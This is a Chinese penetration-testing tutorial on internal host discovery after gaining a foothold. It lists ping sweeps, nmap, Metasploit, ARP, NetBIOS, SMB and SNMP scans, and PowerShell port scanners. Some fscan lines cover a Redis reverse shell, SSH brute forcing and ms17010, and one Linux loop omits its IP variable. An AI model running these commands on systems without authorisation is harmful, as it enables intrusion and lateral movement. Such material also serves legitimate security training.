内网渗透-0x04 主机发现
2024-12-04 22:24:51 # 内网渗透

主机发现可以分三种情况:

  1. 拿到了Webshell,我们可以使用系统命令或者上传工具进行探测
  2. 主机在目标内网,已经搭建隧道,可以使用Proxychains+Nmap
  3. 拿到一个反弹的shell,可以考虑MSF

网络传输协议包括ARP、ICMP、SMB、UDP、SNMP等,我们根据实际进行TCP、UDP、ICMP扫描以及其他协议扫描

ICMP

PING

WIN:

1
2
3
4
5
6
7
// 直接显示

for /l %i in (1,1,255) do @ping 192.168.1.%i -w 1 -n 1|find /i "ttl="

// 无显示,写文件,注意权限问题,避开C盘,失败的写进errorPing.txt,成功successPing.txt

@for /l %i in (1,1,255) do @ping -n 1 -w 40 192.168.1.%i & if errorlevel 1 (echo 192.168.1.%i >> e:/errorPing.txt) else (echo 192.168.1.%i >> e:/successPing.txt)

Linux:

1
2
3
4
5
6
7
// 直接显示

for k in $( seq 1 255);do ping -c 1 192.168.1.|grep "ttl"|awk -F "[ :]+" '{print $4}'; done

// 写文件到/tmp
for i in {1..255}; do ping -c 1 -W 40 192.168.1.$i &> /dev/null; if [ $? -ne 0 ]; then echo "192.168.1.$i" >> /tmp/errorPing.txt; else echo "192.168.1.$i" >> /tmp/successPing.txt; fi; done

Nmap

1
2
3
4
5
6
7
8
nmap ‐sP ‐PI 192.168.1.0/24 ‐T4

nmap ‐sn ‐PE ‐T4 192.168.1.0/24

// sP:表示 Ping 扫描。这个选项用于扫描一个网络段中的主机,检查它们是否在线。此命令不会进行端口扫描,仅确定哪些主机是活动的。
// 需要注意的是,在 nmap 的较新版本中,-sP 已被弃用,取而代之的是 -sn(主机发现扫描)。
//PI:表示使用 ICMP Echo 请求 来发现主机。nmap 发送一个标准的 ICMP Echo 请求来测试目标主机是否响应(即是否在线)。这个选项表示只使用 ICMP 请求来检测主机,而不使用 ARP 请求或其他协议
//PE:表示使用 ICMP Echo 请求(Ping)。它告诉 nmap 发送 ICMP Echo 请求到目标主机来确认主机是否在线。类似于 -PI,但它不完全相同:-PE 侧重于 ICMP Echo 请求,而 -PI 在某些 nmap 版本中可能需要额外的指定

UDP

UDP协议是无连接的,无需连接就能进行数据包发送

MSF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
msf > use auxiliary/scanner/discovery/udp_probe

msf > use auxiliary/scanner/discovery/udp_sweep

// udp_probe用于扫描指定目标上的 UDP 端口,通过发送UDP请求并等待响应来确定端口是否开放
// udp_sweep不会等待目标主机返回响应,而是发送 UDP 请求 到指定范围的端口,并检查目标主机是否返回 ICMP 错误消息或其他反馈信息(有时可能并没有反馈)
// 所以一个适用于单端口的多IP扫描,一个适用于多端口多IP扫描,下面是具体使用实例

msf > use auxiliary/scanner/discovery/udp_probe
msf auxiliary(udp_probe) > set RHOSTS 192.168.1.0/24
msf auxiliary(udp_probe) > set PORTS 53
msf auxiliary(udp_probe) > run

msf > use auxiliary/scanner/discovery/udp_sweep
msf auxiliary(udp_sweep) > set RHOSTS 192.168.1.0/24
msf auxiliary(udp_sweep) > set PORTS 1-1024
msf auxiliary(udp_sweep) > run

Nmap

1
2
3
4
5
6
nmap -sU -T5 -sV --max-retries 1 192.168.1.2 -p 500

// -sU: 进行UDP扫描
// -T后面跟的是一个数字,表示 扫描时间模板。T5 是最快速的扫描模板,适合于高效、快速的扫描,适用于网络较快、目标不容易被防火墙阻挡的情况
// -sV: 检测服务版本
// --max-retries: 最大重试次数

unicornscan

1
2
3
4
unicornscan -mU 192.168.1.2

// 该工具kali自带
// mU表示进行udp扫描

NetBios

NetBIOS协议是一种在局域网上的程序可以使用的应用程序编程接口(API),为程序提供了请求低级服务的统一的命令集,作用是为了给局域网提供网络以及其他特殊功能,几乎所有的局域网都是在NetBIOS协议的基础上工作的

Nmap

1
2
3
nmap -sU --script nbstat.nse -p137 192.168.1.0/24 -T4

// 此时依然是UDP扫描,但是多了nbstat.nse脚本,收集关于 NetBIOS 的信息

MSF

1
2
3
use auxiliary/scanner/netbios/nbname

// 使用options查看参数设置就行

nbtscan

1
2
3
4
5
6
// windows
nbtscan-1.0.35.exe -m 192.168.3.0/24

// linux
// kali自带
nbtscan -r 192.168.3.0/24

APR

Nmap

1
2
3
4
nmap -sn -PR 192.168.2.0/24

// 表示使用 ARP Ping来进行主机发现。ARP Ping 是一种基于局域网内的 MAC 地址解析协议(ARP)的扫描方法
// 当使用 -PR 时,nmap 会发送 ARP 请求到目标子网中的每个主机。如果目标主机在线且在同一局域网内,它会响应 ARP 请求

MSF

1
use auxiliary/scanner/discovery/arp_sweep

netdicover

1
2
3
4
netdiscover -r 192.168.2.0/24 -i eth0

// linux自带
// -i 网卡名

arp-scan

1
2
3
4
arp-scan --interface=eth0 --localnet

// kali自带
// 实战中需要上传到靶机

SMB

MSF

1
use auxiliary/scanner/smb/smb_version

Nmap

1
nmap -sU -sS --script smb-enum-shares.nse  -p 445 192.168.3.0/24

CMD

1
for /l %a in (1,1,254) do start /min /low telnet 192.168.3.%a 445

CME

CrackMapExec(CME)是一款后渗透利用工具,可帮助自动化大型活动目录(AD)网络安全评估任务。其缔造者@byt3bl33d3r称,该工具的生存概念是,“利用AD内置功能/协议达成其功能,并规避大多数终端防护/IDS/IPS解决方案。”

1
cme smb 192.168.3.0/24

SNMP

是一种基于应用层的网络协议,主要用于在 IP 网络中管理和监控设备。SNMP 使网络管理员能够通过网络对路由器、交换机、服务器、打印机等设备进行监控、配置和管理。

Nmap

1
nmap -sU --script snmp-brute 192.168.3.0/24 -T4

MSF

1
use auxiliary/scanner/snmp/snmp_enum

常见工具

Fscan

1
2
3
4
5
6
7
fscan -h 192.168.1.1/24
fscan.exe -h 192.168.1.1/24 (默认使用全部模块)
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写私钥)
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)
fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行)
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)

powershell脚本

1
2
3
4
5
6
7
8
https://github.com/nettitude/PoshC2_Old/blob/master/Modules/Invoke-Arpscan.ps1
https://github.com/dwj7738/My-Powershell-Repository/blob/master/Scripts/Invoke-TSPingSweep.ps1

// Invoke-Arpscan.ps1
powershell.exe -exec bypass -Command "Import-Module .\arpscan.ps1;Invoke-ARPScan -CIDR 192.168.1.0/24"

// Invoke-TSPingSweep.ps1
powershell.exe -exec bypass -Command "Import-Module ./Invoke-TSPingSweep.ps1;Invoke-TSPingSweep -StartAddress 192.168.1.0 -EndAddress 192.168.1.255"
1
2
3
4
5
6
7
8
// 多ip单端口
powershell foreach ($ip in 1..20) {Test-NetConnection -Port 80 -InformationLevel "Detailed" 192.168.3.$ip}

// 单ip多端口
1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("192.168.3.2",$_)) "Port $_ is open!"} 2>$null

// 多ip多端口
1..20 | % { $a = $_; 1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("192.168.3.$a",$_)) "Port $_ is open!"} 2>$null}

PTscan

1
2
3
4
5
6
7
8
9
10
Usage: python PTscan.py {-f /xxx/xxx.txt or -h 192.168.1} [-p 21,80,3306]  [-m 50] [-t 10] [-n] [-b] [-r]

-f 指定扫描目标文件,文件格式如list.txt所示,同时支持IP和URL
-h 指定扫描IP或IP段,支持段扫描,如192.168.1 即为扫描C段,192.168 即为扫描B段
-p 指定扫描端口,缺省使用程序中的配置端口
-m 指定线程数
-t 指定timeout
-n 不进行ping操作,直接扫描
-b 开启Banner识别
-r ReverseIP